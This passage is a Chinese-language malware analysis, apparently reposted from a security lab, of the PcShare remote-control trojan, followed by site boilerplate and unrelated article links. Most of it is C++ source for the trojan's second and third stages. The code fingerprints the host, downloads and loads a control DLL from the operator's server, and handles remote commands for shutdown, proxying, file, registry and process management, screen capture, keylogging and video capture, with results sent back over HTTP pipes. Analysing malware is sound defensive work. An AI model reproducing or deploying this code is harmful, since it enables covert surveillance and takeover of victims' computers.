GetComputerName(m_SysInfo.m_PcName, &m_Len);
m_SysInfo.m_PcName[60] = 0x00;
m_SysInfo.m_PcName[61] = 0x01;

//取用戶名
DWORD len = 36;
GetUserName(m_SysInfo.m_UserName, &len);
m_SysInfo.m_UserName[37] = m_IsVideo;

//生成內(nèi)部標(biāo)識(shí)
DWORD SeriaNumber = 0;
GetVolumeInformation("C:", NULL, NULL,
&SeriaNumber, NULL, NULL, NULL, NULL);
charm_DesKey[10] = { 0};
sprintf(m_DesKey, "%08x", SeriaNumber);
charm_SmallBuf[100] = { 0};
memset(m_SmallBuf, 0, sizeof(m_SmallBuf));
for(inti = 0; i < 8; i++)
????{
????????m_SmallBuf[i] = m_SysInfo.
????????????m_PcName[i] ^ m_DesKey[i];
????}
????BcdToAsc((BYTE*)m_SmallBuf, (BYTE*)
????????m_SysInfo.ID, 8);

????BcdToAsc((BYTE*)&m_SysInfo,
????????(BYTE*)pTransData, sizeof(LOGININFO));
}

最終將拼接為類似如下的 URL

5277e106-95bf-11ed-bfe3-dac502259ad0.png

服務(wù)器成功響應(yīng)的返回碼為200

528b6244-95bf-11ed-bfe3-dac502259ad0.png

之后開始下載控制后續(xù)的控制 dll,通過對(duì)生成器分析,控制 dll 的名稱為 PcCortr.dll

首先接收文件的長(zhǎng)度

接收控制 dll 文件內(nèi)容

保存到當(dāng)前工作路徑中,名稱為 PcCortr.dll

BOOL SshWork::DownloadFile(char* pFileName)
{
//接收文件長(zhǎng)度
intnFileLen = 0;
if(!RecvData(hFp, (char*)&nFileLen, sizeof(int)))
{
//接收文件長(zhǎng)度失敗
returnFALSE;
}

//接收新的文件數(shù)據(jù)
char* pData = newchar[nFileLen];
if(!RecvData(hFp, pData, nFileLen))
{
//更新數(shù)據(jù)失敗
delete[] pData;
returnFALSE;
}

//下裝控制文件
FILE *fp = fopen(pFileName, "wb");
if(fp != NULL)
{
fwrite(pData, nFileLen, 1, fp);
fclose(fp);
}
delete[] pData;
returnTRUE;
}

從服務(wù)器接收數(shù)據(jù)是通過 BOOL SshWork::RecvData(HINTERNET hFile, LPVOID pData, int DataLen) 函數(shù)完成的,它是對(duì) InternetReadFile API 函數(shù)的封裝,通過循環(huán)+數(shù)據(jù)偏移的形式不斷從服務(wù)器中接收數(shù)據(jù),直到全部接收完畢。

測(cè)試環(huán)境下接收到的文件。

52b04c3a-95bf-11ed-bfe3-dac502259ad0.png

下載完成后,會(huì)嘗試將其加載到內(nèi)存中。

52bfd75e-95bf-11ed-bfe3-dac502259ad0.png

至此,第二階段的工作與控制端建立連接的工作完成,此階段主要是下載用于后續(xù)交互控制的 dll 文件,并將其保存到本地并執(zhí)行。

最終執(zhí)行的函數(shù)為 PcCortr 工程的 ProcessTrans 函數(shù)。

52d9cd12-95bf-11ed-bfe3-dac502259ad0.png

第三階段:進(jìn)行后續(xù)命令交互執(zhí)行

PcCortr 是一個(gè) MFC DLL 程序,在被第二階段加載之后,會(huì)調(diào)用 ProcessTrans 函數(shù)執(zhí)行,函數(shù)內(nèi)部首先進(jìn)行了一些初始化后,會(huì)通過 DoWork 函數(shù)與控制端進(jìn)行交互。

voidProcessTrans(HINTERNET hFp, HANDLE m_ExitEvent, char* pServerAddr,
intnServerPort, char* pRegInfo, char* pFileName)
{
AFX_MANAGE_STATE(AfxGetStaticModuleState());
CMyMainTrans myMainTrans;
myMainTrans.DoWork(hFp, m_ExitEvent, pServerAddr, nServerPort, pRegInfo, pFileName);
}

DoWork 函數(shù)主要是不斷調(diào)用 ProcessCmd 函數(shù)處理與服務(wù)器之間的交互。

voidCMyMainTrans::DoWork(HINTERNET HttpFp,
HANDLE hExitEvent,
char* pServerAddr,
intServerPort,
char* pRegInfo,
char* pFileName)
{
//取任務(wù)信息
m_ServerPort = ServerPort;
hFp = HttpFp;
m_ExitEvent = hExitEvent;
strcpy(m_RegInfo, pRegInfo);
strcpy(m_FileName, pFileName);
strcpy(m_ServerAddr, pServerAddr);

//開始工作
while(ProcessCmd());
}

ProcessCmd 函數(shù)用于接收控制端發(fā)送的命令并進(jìn)行處理。當(dāng)接收到命令時(shí),會(huì)根據(jù)命令的類型執(zhí)行對(duì)應(yīng)的操作。

BOOL CMyMainTrans::ProcessCmd()
{
//接收交易命令
CMDINFO m_CmdInfo = {0};
if(!RecvData(hFp,&m_CmdInfo,sizeof(CMDINFO)))
returnFALSE;

//執(zhí)行交易命令
switch(m_CmdInfo.m_Command)
{
//重啟機(jī)器
caseCLIENT_SYSTEM_RESTART :
SetEvent(m_ExitEvent);
ShutDownSystem(FALSE);
returnFALSE;

//關(guān)閉機(jī)器
caseCLIENT_SYSTEM_SHUTDOWN :
SetEvent(m_ExitEvent);
ShutDownSystem(TRUE);
returnFALSE;

//卸載程序
caseCLIENT_PRO_UNINSTALL :
MyRegDeleteKey(m_RegInfo);
DeleteFile(m_FileName);
{
char* pFind = strrchr(m_FileName,'\');
if(pFind != NULL) 
{
char m_DesFile[256] = {0};
char m_SystemPath[256] = {0};
GetSystemDirectory(m_SystemPath,200);
sprintf(m_DesFile, "%s%s", m_SystemPath, pFind);
DeleteFile(m_DesFile);
}
}
SetEvent(m_ExitEvent);
returnFALSE;

caseCLIENT_PROXY :
{
closesocket(m_Info.m_soListen);
strcpy(m_Info.m_DesAddr, m_ServerAddr);
m_Info.m_DesPort = m_ServerPort;
m_Info.m_LocalPort = m_CmdInfo.m_DataLen;
m_Info.m_soListen = StartTcp(m_Info.m_LocalPort);
if(m_Info.m_soListen)
{
//啟動(dòng)偵聽線程
_beginthread(ListenThread, 0, 
(LPVOID) m_Info.m_soListen);
}
}
break;

//屏幕拷貝
caseCLIENT_FRAME_START :
//文件管理
caseCLIENT_FILES_START :
//超級(jí)終端
caseCLIENT_TLNT_START :
//注冊(cè)表管理
caseCLIENT_REGEDIT_START :
//進(jìn)程管理
caseCLIENT_PROC_START :
//服務(wù)管理
caseCLIENT_SERVICE_START :
//鍵盤監(jiān)控
caseCLIENT_KEYMON_START :
//視頻監(jiān)控
caseCLIENT_MULIT_START :
StartClientCtrl(m_CmdInfo.m_Command);
break;

//錯(cuò)誤命令
default: break;
}

//防止系統(tǒng)卡死
::Sleep(1);
returnTRUE;
}

接收控制端發(fā)送的命令是通過 RecvData 函數(shù)實(shí)現(xiàn)的,它與第二階段實(shí)現(xiàn)代碼一致,前面已經(jīng)分析過,不在此分析了。

其中接收的命令協(xié)議頭為:

typedefstruct_CMDINFO_
{
UINTm_Command; //操作命令
UINTm_DataLen; //數(shù)據(jù)長(zhǎng)度
}CMDINFO,*LPCMDINFO;

由于是進(jìn)行交互的套接字是阻塞的,所以當(dāng)控制 dll 沒有收到控制端下發(fā)的數(shù)據(jù)時(shí),會(huì)一直阻塞在 CMyMainTrans::RecvData 函數(shù)的循環(huán)中。

當(dāng)收發(fā)控制端下發(fā)的指令后,當(dāng)發(fā)送文件管理命令時(shí),被控端收到了如下指令

52f26c64-95bf-11ed-bfe3-dac502259ad0.png

最終將通過 CMyMainTrans::StartClientCtrl 函數(shù)執(zhí)行對(duì)應(yīng)功能,其內(nèi)部將創(chuàng)建一個(gè)單獨(dú)的工作線程去執(zhí)行文件管理功能。

voidCMyMainTrans::StartClientCtrl(intiType)
{
//啟動(dòng)相應(yīng)控制線程
m_WorkType = iType;
_beginthread(SSH_CtrlThread, 0, (LPVOID) this);
}

線程的回調(diào)函數(shù)中,將處理控制端對(duì)應(yīng)的命令。

void CMyMainTrans::SSH_CtrlThread(LPVOID lPvoid)
{
CMyMainTrans* pThis = (CMyMainTrans*) lPvoid;
if(pThis->m_WorkType == CLIENT_FILES_START)
{
//文件管理
CMyAdminTrans m_Trans;
m_Trans.StartWork(pThis->m_ServerAddr,pThis->m_ServerPort,
CONN_FILE_MANA_SEND, CONN_FILE_MANA_RECV);
}
elseif(pThis->m_WorkType == CLIENT_FRAME_START)
{
//屏幕監(jiān)控
CMyFrameTrans m_Trans;
m_Trans.StartWork(pThis->m_ServerAddr,pThis->m_ServerPort,
CONN_FILE_FRAM_SEND, CONN_FILE_FRAM_RECV);
}
elseif(pThis->m_WorkType == CLIENT_REGEDIT_START)
{
//注冊(cè)表編輯
CMyAdminTrans m_Trans;
m_Trans.StartWork(pThis->m_ServerAddr,pThis->m_ServerPort,
CONN_FILE_REGD_SEND, CONN_FILE_REGD_RECV);
}
elseif(pThis->m_WorkType == CLIENT_TLNT_START)
{
//超級(jí)終端
CMyTlntTrans m_Trans;
m_Trans.StartWork(pThis->m_ServerAddr,pThis->m_ServerPort,
CONN_FILE_TLNT_SEND, CONN_FILE_TLNT_RECV);
}
elseif(pThis->m_WorkType == CLIENT_PROC_START)
{
//進(jìn)程管理
CMyAdminTrans m_Trans;
m_Trans.StartWork(pThis->m_ServerAddr,pThis->m_ServerPort,
CONN_FILE_PROC_SEND, CONN_FILE_PROC_RECV);
}
elseif(pThis->m_WorkType == CLIENT_SERVICE_START)
{
//服務(wù)管理
CMyAdminTrans m_Trans;
m_Trans.StartWork(pThis->m_ServerAddr,pThis->m_ServerPort,
CONN_FILE_SERV_SEND, CONN_FILE_SERV_RECV);
}
elseif(pThis->m_WorkType == CLIENT_KEYMON_START)
{
//鍵盤監(jiān)控
CMyKeyMonTrans m_Trans;
m_Trans.StartWork(pThis->m_ServerAddr,pThis->m_ServerPort,
CONN_FILE_KEYM_SEND, CONN_FILE_KEYM_RECV);
}
elseif(pThis->m_WorkType == CLIENT_MULIT_START)
{
//視頻監(jiān)控
CMyMulitTrans m_Trans;
m_Trans.StartWork(pThis->m_ServerAddr,pThis->m_ServerPort,
CONN_FILE_MULT_SEND, CONN_FILE_MULT_RECV);
}
}

后續(xù)會(huì)打開對(duì)應(yīng)的類函數(shù) StartWork 進(jìn)行處理,比如文件管理,會(huì)調(diào)用 CMyAdminTrans::StartWork 函數(shù),內(nèi)部首先調(diào)用 CMyHttpPipeBase::StartWork 函數(shù)連接目標(biāo)服務(wù)器,創(chuàng)建發(fā)送接收管道。

BOOLCMyAdminTrans::StartWork(char* m_ServerAddr, intm_ServerPort, intnSend, intnRecv)
{
//連接目標(biāo)服務(wù)器,創(chuàng)建發(fā)送接收管道
if(!CMyHttpPipeBase::StartWork(
m_ServerAddr, m_ServerPort, nSend, nRecv)) 
returnFALSE;

//開始任務(wù)
while(1)
{
//接收命令
if(!ReadBag(m_TransData,m_dTransLen,m_Command))
break;

//處理為字串
m_TransData[m_dTransLen] = 0;

//命令處理
switch(m_Command)
{
// ...

//取磁盤列表
caseCLIENT_DISK_LIST: 
GetDiskList(m_TransData,m_dTransLen,m_Command);
break;

// ...

}

//發(fā)送數(shù)據(jù)
if(!SendBag(m_TransData,m_dTransLen,m_Command))
break;
}

if(m_TransData != NULL)
{
delete [] m_TransData;
m_TransData = NULL;
}

//關(guān)閉句柄
StopWork();
returnTRUE;
}

在 CMyHttpPipeBase::StartWork 內(nèi)部,主要是

創(chuàng)建了兩個(gè) HTTP 連接,一個(gè)用作接收控制端命令的管道,另一個(gè)用作發(fā)送執(zhí)行結(jié)果數(shù)據(jù)的管道。

調(diào)用 HttpSendRequest 函數(shù)連接接收管道,用來等到控制端下發(fā)的指令。

調(diào)用 HttpSendRequestEx() 函數(shù)連接發(fā)送管道,用來回傳執(zhí)行結(jié)果數(shù)據(jù)。

BOOLCMyHttpPipeBase::StartWork(char* m_ServerAddr, intm_ServerPort, 
intnSend, intnRecv)
{
//創(chuàng)建接收管道
if(!m_PipeRecv.ConnectHttpServer(
m_ServerAddr, m_ServerPort, nRecv,
INTERNET_FLAG_PRAGMA_NOCACHE|
INTERNET_FLAG_NO_CACHE_WRITE|
INTERNET_FLAG_RELOAD))
{
StopWork();
returnFALSE;
}

//連接接收管道
if(!HttpSendRequest(m_PipeRecv.hHttpFp , NULL, 0, NULL, 0))
{
StopWork();
returnFALSE;
}

//創(chuàng)建發(fā)送管道
if(!m_PipeSend.ConnectHttpServer(
m_ServerAddr, m_ServerPort, nSend,
INTERNET_FLAG_PRAGMA_NOCACHE|
INTERNET_FLAG_NO_CACHE_WRITE|
INTERNET_FLAG_RELOAD))
{
StopWork();
returnFALSE;
}

//連接發(fā)送管道
INTERNET_BUFFERS BufferIn = {0};
BufferIn.dwStructSize = sizeof( INTERNET_BUFFERS );
BufferIn.dwBufferTotal = 1024* 1024* 1024+ 973741824;
if(!HttpSendRequestEx(m_PipeSend.hHttpFp,
&BufferIn,NULL,HSR_INITIATE,0))
{
StopWork();
returnFALSE;
}
returnTRUE;
}

其中 CMyHttpBase::ConnectHttpServer 函數(shù)是與控制端建立 HTTP 連接,它和第二階段的連接服務(wù)器不同的是,它上傳的主機(jī)信息是通過 POST 方式上傳的。

BOOLCMyHttpBase::ConnectHttpServer(char* m_ServerAddr , 
intm_ServerPort,
intnCmd, DWORD nStyle)
{
//中斷上次連接
StopWork();

//檢查數(shù)據(jù)有效性
if(strlen(m_ServerAddr) == 0
|| m_ServerPort == 0)
returnFALSE;

//初始化HTTP環(huán)境
hHttpIe = InternetOpen("Mozilla/4.0 (compatible; MSIE 6.0; "
"Windows NT 5.0; .NET CLR 1.1.4322)",
INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
if(!hHttpIe) returnFALSE;

//填充主機(jī)地址
hHttpHc = InternetConnect(hHttpIe,
m_ServerAddr , m_ServerPort , NULL, 
NULL, INTERNET_SERVICE_HTTP,0,0); 
if(!hHttpHc)
{
StopWork();
returnFALSE;
}

//填充上送當(dāng)前客戶信息
charm_Url[4096] = {0};
charm_ExternData[2048] = {0};
GetMySysInfo(m_ExternData);
sprintf(m_Url,"%d%s",nCmd,m_ExternData);
hHttpFp = HttpOpenRequest(hHttpHc,
"POST",m_Url,NULL,NULL,NULL,nStyle,NULL);
if(!hHttpFp)
{
StopWork();
returnFALSE;
}

DWORD m_TimeOut = 24* 3600* 1000;
if(!InternetSetOption(hHttpFp,
INTERNET_OPTION_RECEIVE_TIMEOUT,&m_TimeOut,sizeof(DWORD)))
{
StopWork();
returnFALSE;
}
returnTRUE;
}

一旦與控制端成功建立連接后,控制 dll 將調(diào)用 ReadBag 函數(shù)用于接收控制端下發(fā)指令。

BOOLCMyAdminTrans::ReadBag(char* Data, DWORD& Len,UINT&m_Command)
{
//接收命令
if(!RecvData((char*) &m_Command, sizeof(UINT)))
returnFALSE;

//接收長(zhǎng)度
if(!RecvData((char*) &Len, sizeof(DWORD)))
returnFALSE;

TRACE("ReadBag : Len = %d,m_Command = %d
",Len,m_Command);

//查看數(shù)據(jù)長(zhǎng)度
if(Len <= 0) return?TRUE;

????//接收數(shù)據(jù)
????if(!RecvData(Data, Len)) return?FALSE;

????return?TRUE;
}

其中接收的消息格式為:

struct
{
UINT Command; // 4
DWORD len; // 4 數(shù)據(jù)長(zhǎng)度
char* data; // 業(yè)務(wù)數(shù)據(jù),長(zhǎng)度為 len 
}

如果是控制端下發(fā)的命令,那么,數(shù)據(jù)長(zhǎng)度為0。

5301b106-95bf-11ed-bfe3-dac502259ad0.png

之后根據(jù)接收到的命令類型,進(jìn)行不同處理,測(cè)試中為打開文件管理功能

53223674-95bf-11ed-bfe3-dac502259ad0.png

將會(huì)根據(jù)這個(gè)命令進(jìn)行具體處理,處理完畢后,將使用 MakeCompressData 對(duì)結(jié)果進(jìn)行壓縮。

void CMyAdminTrans::MakeCompressData(char *m_TransData,DWORD &len)
{
DWORD m_SrcLen = len;
BYTE *pSrcData = newBYTE[m_SrcLen];
memcpy(pSrcData,m_TransData,m_SrcLen);
len= T_DATALEN;
compress((LPBYTE) m_TransData,&len,pSrcData,m_SrcLen);
delete[] pSrcData;
}

隨后將調(diào)用 CMyAdminTrans::SendBag 函數(shù)將壓縮后的數(shù)據(jù)回傳,該函數(shù)發(fā)送的步驟就是

* 先發(fā)送消息頭(命令+包體長(zhǎng)度);

* 在發(fā)送具體命令對(duì)應(yīng)的內(nèi)容。

BOOLCMyAdminTrans::SendBag(char* Data, DWORD &Len,UINT&m_Command)
{
//發(fā)送命令
if(!SendData((char*) &m_Command, sizeof(UINT)))
returnFALSE;

//發(fā)送長(zhǎng)度
if(!SendData((char*) &Len, sizeof(DWORD)))
returnFALSE;

//查看數(shù)據(jù)長(zhǎng)度
if(Len <= 0) return?TRUE;

????//發(fā)送數(shù)據(jù)
????if(!SendData(Data, Len)) return?FALSE;

????return?TRUE;
}

到此,控制 dll 處理控制端下發(fā)的指令并返回執(zhí)行命令的結(jié)果分析完畢。

丈八網(wǎng)安蛇矛實(shí)驗(yàn)室成立于2020年,致力于安全研究、攻防解決方案、靶場(chǎng)對(duì)標(biāo)場(chǎng)景仿真復(fù)現(xiàn)及技戰(zhàn)法設(shè)計(jì)與輸出等相關(guān)方向。團(tuán)隊(duì)核心成員均由從事安全行業(yè)10余年經(jīng)驗(yàn)的安全專家組成,團(tuán)隊(duì)目前成員涉及紅藍(lán)對(duì)抗、滲透測(cè)試、逆向破解、病毒分析、工控安全以及免殺等相關(guān)領(lǐng)域。

審核編輯:湯梓紅
聲明:本文內(nèi)容及配圖由入駐作者撰寫或者入駐合作網(wǎng)站授權(quán)轉(zhuǎn)載。文章觀點(diǎn)僅代表作者本人,不代表電子發(fā)燒友網(wǎng)立場(chǎng)。文章及其配圖僅供工程師學(xué)習(xí)之用,如有內(nèi)容侵權(quán)或者其他違規(guī)問題,請(qǐng)聯(lián)系本站處理。 舉報(bào)投訴
  • 計(jì)算機(jī)
    +關(guān)注

    關(guān)注

    19

    文章

    7295

    瀏覽量

    87534
  • 遠(yuǎn)程控制
    +關(guān)注

    關(guān)注

    4

    文章

    615

    瀏覽量

    34859
  • 源碼
    +關(guān)注

    關(guān)注

    8

    文章

    630

    瀏覽量

    29074
  • 函數(shù)
    +關(guān)注

    關(guān)注

    3

    文章

    4262

    瀏覽量

    62233
  • 代碼
    +關(guān)注

    關(guān)注

    30

    文章

    4697

    瀏覽量

    68093

原文標(biāo)題:安全開發(fā)之Pcshare流程分析

文章出處:【微信號(hào):蛇矛實(shí)驗(yàn)室,微信公眾號(hào):蛇矛實(shí)驗(yàn)室】歡迎添加關(guān)注!文章轉(zhuǎn)載請(qǐng)注明出處。

收藏 人收藏

    評(píng)論

    相關(guān)推薦

    大唐恩智浦啟動(dòng)首個(gè)ISO 26262功能安全開發(fā)流程認(rèn)證項(xiàng)目

    近日,中國(guó)首家汽車半導(dǎo)體公司大唐恩智浦半導(dǎo)體有限公司 (以下簡(jiǎn)稱“大唐恩智浦”)與 TüV 南德意志大中華集團(tuán) (以下簡(jiǎn)稱“TüV SüD”)正式簽署了ISO 26262功能安全開發(fā)流程認(rèn)證的合作協(xié)議。大唐恩智浦因此成為中國(guó)汽車半導(dǎo)體行業(yè)首個(gè)啟動(dòng)ISO26262功能
    發(fā)表于 11-02 20:04 ?1257次閱讀

    動(dòng)力電池bms功能安全開發(fā)過程包括哪些內(nèi)容

    不存在因電氣和電子系統(tǒng)故障而引起的不合理危險(xiǎn)。因此,功能安全開發(fā)的首要任務(wù)是避免不可接受的風(fēng)險(xiǎn)。BMS作為車輛零部件,在開發(fā)功能安全時(shí),一般在概念階段從車輛層面的安全目標(biāo)獲得FSR(功
    的頭像 發(fā)表于 07-13 09:48 ?4106次閱讀
    動(dòng)力電池bms功能<b class='flag-5'>安全開發(fā)</b>過程包括哪些內(nèi)容

    【嵌入式經(jīng)典】s3c2410完全開發(fā)流程及源代碼

    s3c2410完全開發(fā)流程及源代碼
    發(fā)表于 08-19 14:43

    Android安全開發(fā)WebView中的地雷

    `Android安全開發(fā)WebView中的地雷0X01 About WebView在Android開發(fā)中,經(jīng)常會(huì)使用WebView來實(shí)現(xiàn)WEB頁面的展示,在Activiry中啟動(dòng)自己的瀏覽器,或者
    發(fā)表于 09-09 19:35

    請(qǐng)問Linux環(huán)境下Ubuntu完全開發(fā)流程是怎樣的?

    Linux環(huán)境下Ubuntu完全開發(fā)流程是怎樣的?
    發(fā)表于 12-29 06:36

    嵌入式開發(fā)系列課程五:Windows CE安全開發(fā)

    嵌入式開發(fā)系列課程五:Windows CE安全開發(fā)與配置
    發(fā)表于 03-25 08:58 ?22次下載

    螺絲管安全開關(guān)電路

    螺絲管安全開關(guān)電路
    發(fā)表于 12-29 10:10 ?618次閱讀
    螺絲管<b class='flag-5'>安全開</b>關(guān)電路

    光學(xué)安全開關(guān)電路

    光學(xué)安全開關(guān)電路 在這個(gè)安全
    發(fā)表于 09-28 15:42 ?794次閱讀
    光學(xué)<b class='flag-5'>安全開</b>關(guān)電路

    電子功能安全開發(fā)及汽車EPS電機(jī)控制設(shè)計(jì)

    實(shí)現(xiàn)認(rèn)證并開始你的功能安全開發(fā)
    的頭像 發(fā)表于 08-14 00:15 ?4858次閱讀

    什么是SEooC?SEooC和正常功能安全開發(fā)有什么不同?

    在功能安全開發(fā)過程中,很多時(shí)候我們會(huì)遇到獨(dú)立于環(huán)境的安全要素開發(fā)(Safety Element out of Context, SEooC)
    的頭像 發(fā)表于 04-27 16:52 ?8414次閱讀
    什么是SEooC?SEooC和正常功能<b class='flag-5'>安全開發(fā)</b>有什么不同?

    貿(mào)澤開售面向安全應(yīng)用的英飛凌OPTIGA Trust M物聯(lián)網(wǎng)安全開發(fā)套件

    2023 年 5 月 11 日 – 專注于引入新品的全球半導(dǎo)體和電子元器件授權(quán)代理商貿(mào)澤電子 (Mouser Electronics) 即日起供貨英飛凌的OPTIGA? Trust M物聯(lián)網(wǎng)安全開發(fā)
    發(fā)表于 05-12 17:05 ?588次閱讀
     貿(mào)澤開售面向<b class='flag-5'>安全</b>應(yīng)用的英飛凌OPTIGA Trust M物聯(lián)網(wǎng)<b class='flag-5'>安全開發(fā)</b>套件

    MPS功能安全汽車開發(fā)流程MPSAFETM簡(jiǎn)介

    MP 安全TM是 MPS 專為汽車元器件開發(fā)的一套全新、先進(jìn)的安全開發(fā)流程。該流程已通過獨(dú)立認(rèn)證,且符合 ISO26262標(biāo)準(zhǔn)。ISO262
    的頭像 發(fā)表于 08-02 11:32 ?687次閱讀
    MPS功能<b class='flag-5'>安全</b>汽車<b class='flag-5'>開發(fā)</b><b class='flag-5'>流程</b>MPSAFETM簡(jiǎn)介

    傾倒安全開關(guān)的作用

    安全開關(guān)是一種用于保護(hù)電路和設(shè)備的重要裝置。它的作用是在電路發(fā)生故障或設(shè)備出現(xiàn)異常情況時(shí),迅速切斷電源,以防止電流過大或電壓過高對(duì)人身安全和設(shè)備造成損害。 安全開關(guān)可以防止電路過載。當(dāng)電路中的電流
    的頭像 發(fā)表于 08-22 14:07 ?773次閱讀
    傾倒<b class='flag-5'>安全開</b>關(guān)的作用

    16家科技巨頭保證AI模型安全開發(fā)

    據(jù)路透社報(bào)道,微軟、谷歌以及OpenAI等16家全球科技巨頭在5月21至22日舉行的“人工智能(AI)首爾峰會(huì)”上,公開表態(tài)承諾進(jìn)行AI模型的安全開發(fā),并在無法有效控制最極端風(fēng)險(xiǎn)時(shí),對(duì)其尖端系統(tǒng)進(jìn)行關(guān)閉。
    的頭像 發(fā)表于 05-22 11:55 ?634次閱讀

    格陸博科技榮獲ISO/SAE 21434《道路車輛-網(wǎng)絡(luò)安全開發(fā)流程認(rèn)證》

    近日,格陸博科技正式獲得國(guó)際知名第三方認(rèn)證機(jī)構(gòu)TüV NORD(杭州漢德質(zhì)量認(rèn)證服務(wù)有限公司)授予ISO/SAE 21434《道路車輛-網(wǎng)絡(luò)安全開發(fā)流程認(rèn)證》,標(biāo)志著格陸博科技現(xiàn)有
    的頭像 發(fā)表于 08-15 11:25 ?478次閱讀